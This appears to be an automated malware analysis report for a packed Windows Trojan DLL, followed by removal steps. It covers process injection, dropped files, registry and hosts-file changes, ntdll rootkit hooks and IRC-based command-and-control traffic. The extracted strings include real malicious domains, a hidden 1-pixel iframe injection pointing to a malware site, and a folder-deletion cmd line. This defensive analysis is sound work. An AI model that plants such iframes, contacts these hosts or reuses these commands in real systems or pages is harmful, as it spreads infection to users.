MD5: d57b76197b0f83fb9df42df8a95c39bd
SHA1: 14a2559d81f38de0a27b4bb1d05b62fc9c7ad5dd
SHA256: a91fe7aff91ee602d4c26b33d6c775614d4c2e122e542c35cce998d0a6a2ba47
SSDeep: 12288:JAqi3gVW41lychX1f9XgcgX2Z9Vq8OI/p9snp4R1s:JAd3KiiXp0WHqYR neR1
Size: 445952 bytes
File type: DLL
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-06-08 12:59:36
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regsvr32.exe:3676
hrlF759.tmp:2624

The Trojan injects its code into the following process(es):

swaawo.exe:3104

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process regsvr32.exe:3676 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\hrlF759.tmp (876 bytes)

The process swaawo.exe:3104 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\System32\hra33.dll (7 bytes)
C:\RCXFB9D.tmp (12460 bytes)
C:\Windows\Sys (446 bytes)
C:\Boot\lpk.dll (2321 bytes)

The process hrlF759.tmp:2624 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\System32\swaawo.exe (2321 bytes)

Registry activity

The process hrlF759.tmp:2624 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Distribuoeq]
"Description" = "Distribucjx Transaction Coordinator Service."

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SOFTWARE.LOG,"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 864 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

The Trojan installs the following user-mode hooks in ntdll.dll:

NtQueryInformationProcess
ZwOpenFile
NtDeviceIoControlFile
ZwCreateUserProcess
ZwCreateProcessEx
NtCreateProcess
ZwCreateFile

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
dingtao333.3322.org	221.130.179.36
ilo.brenz.pl	148.81.111.121
teredo.ipv6.microsoft.com	157.56.106.189
dns.msftncsi.com	131.107.255.255

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Known Hostile Domain ilo.brenz.pl Lookup

Traffic

)wu7.B...fm........."...g.=.........P...-?..!... ....r.U...3;.UZ....



:irc 001 scxpgvoa :Hi virtu.:irc 376 scxpgvoa :End of /MOTD command.:i
rc 001 scxpgvoa :Hi virtu.:irc 376 scxpgvoa :End of /MOTD command..:sc
xpgvoa JOIN #.0..:scxpgvoa JOIN #.0.

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

KERNEL32.dll

USER32.dll

msvcrt.dll

ole32.dll

ntdll.dll

COMCTL32.dll

regsvr32.pdb

RegCloseKey

RegOpenKeyExW

_wcmdln

_amsg_exit

version="5.1.0.0"

name="Microsoft.Windows.RegSvr32"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

\regsvr32.exe

user32.dll

Excessive # of DLL's on cmdline

6.1.7600.16385 (win7_rtm.090713-1255)

REGSVR32.EXE

Windows

Operating System

6.1.7600.16385

swaawo.exe_3104:

.text

`.rdata

@.data

.rsrc

USER32.dll

ADVAPI32.dll

SHELL32.dll

WS2_32.dll

WINMM.dll

GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm

RegCloseKey

RegOpenKeyExA

RegOpenKeyA

ShellExecuteA

MFC42.DLL

MSVCRT.dll

_acmdln

WinExec

KERNEL32.dll

dingtao333.3322.org:1

-2146744890-2146744890

kernel32.dll

%u.%u.%u.%u

hra%u.dll

iexplore.exe

stf%c%c%c%c%c.exe

PlusCtrl.dll

SOFTWARE.LOG

%c%c%c%c%c%c.exe

%u MB

%u MHz

Windows NT

Windows 7

Windows 2008

Windows Vista

Windows 2003

Windows XP

Windows 2000

SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Program Files\Internet Explorer\iexplore.exe

#0%s!

%s/%s

GET %s HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)

Host: %s:%d

Host: %s

User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0

Referer: hXXp://%s:80/hXXp://%s

%s %s%s

User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)

User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

%d.%d.%d.%d

192.168.1.244

@.reloc

SHLWAPI.dll

lpk.dll

3.iNU

=teJ,puDp

Pv.zuG

r8%XZ#Y

.RoyrXD

j;.lj0P

].QX$

L@.tn0

f.ovk

o"r%dM

[M0.Bx

.bsL,]x$

<l.jz%A

.EUB>s

}lf/.iV

i%DjEd

ADVAPI32.DLL

JOIN #.%d

DSTAMP %ddd

\USERINIT.EXE

%s:*:enabled:@shell32.dll,-1

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer

yi.kilme.pl

sp.iqchk.pl

knx.remp.pl

qq.limag.ru

kto.gind.at

NICK bfrzhksz

SFC.DLL

SFC_OS.DLL

USER32.DLL

SHLWAPI.DLL

WSOCK32.DLL

WININET.DLL

%.6x . . :%c%.8x%x  *%s

KERNEL32.DLL

windowsupdate

drweb

ilo.brenz.pl

ant.trenz.pl

NICK ybywmaow

%.6x . . :%c%.8x%x  %s

JOIN

127.0.0.1 VVV.Brenz.pl

#<iframe style="height:1px" src="hXXp://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>

cmd /c RD /s /q "%s"

"%s" a -r -ep1"%s" "%s" "%s\lpk.dll"

"%s" x "%s" *.exe "%s\"

cmd /c %s vb "%s" lpk.dll|find /i "lpk.dll"

rar.exe

1, 0, 0, 1

server.EXE

swaawo.exe_3104_rwx_00422000_00001000:

j;.lj0P

swaawo.exe_3104_rwx_00463000_0000E000:

ADVAPI32.DLL

JOIN #.%d

DSTAMP %ddd

\USERINIT.EXE

%s:*:enabled:@shell32.dll,-1

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer

yi.kilme.pl

sp.iqchk.pl

knx.remp.pl

qq.limag.ru

kto.gind.at

NICK bfrzhksz

SFC.DLL

SFC_OS.DLL

USER32.DLL

SHLWAPI.DLL

WSOCK32.DLL

WININET.DLL

%.6x . . :%c%.8x%x  *%s

KERNEL32.DLL

windowsupdate

drweb

ilo.brenz.pl

ant.trenz.pl

NICK ybywmaow

%.6x . . :%c%.8x%x  %s

JOIN

127.0.0.1 VVV.Brenz.pl

#<iframe style="height:1px" src="hXXp://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   regsvr32.exe:3676
   hrlF759.tmp:2624

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:
   

   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\hrlF759.tmp (876 bytes)
   C:\Windows\System32\hra33.dll (7 bytes)
   C:\RCXFB9D.tmp (12460 bytes)
   C:\Boot\lpk.dll (2321 bytes)
   C:\Windows\System32\swaawo.exe (2321 bytes)

5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.